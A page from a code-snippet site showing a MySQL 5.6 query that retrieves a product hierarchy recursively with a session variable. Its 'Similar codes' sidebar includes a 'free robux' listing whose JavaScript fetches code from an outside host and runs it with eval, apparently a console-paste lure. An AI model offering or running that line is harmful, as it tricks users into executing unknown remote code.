/SQL/Mysql 5.6 hierarchical recursive query

Mysql 5.6 hierarchical recursive query

select  id,
        name,
        parent_id 
from    (select * from products
         order by parent_id, id) products_sorted,
        (select @pv := '19') initialisation
where   find_in_set(parent_id, @pv)
and     length(@pv := concat(@pv, ',', id))

Similar codes

29 votes142 views5 answers
Mysql show table structure
SQL
0 vote149 views1 answer
Restore backup mysql .gz
SQL
8 votes140 views3 answers
Postgresql connection string c#
SQL
1 vote159 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote157 views1 answer
Sql bild in function
SQL
0 vote153 views1 answer
Mysql update even / odd rows
SQL
0 vote153 views1 answer
Get db connection detail from sql developer profile
SQL
0 vote175 views1 answer
Compress sql file database ubuntu
SQL
1 vote140 views1 answer
Check constraint to check if date greater than todays date
SQL
0 vote101 views1 answer
How to see the content of tables in pgadmin
SQL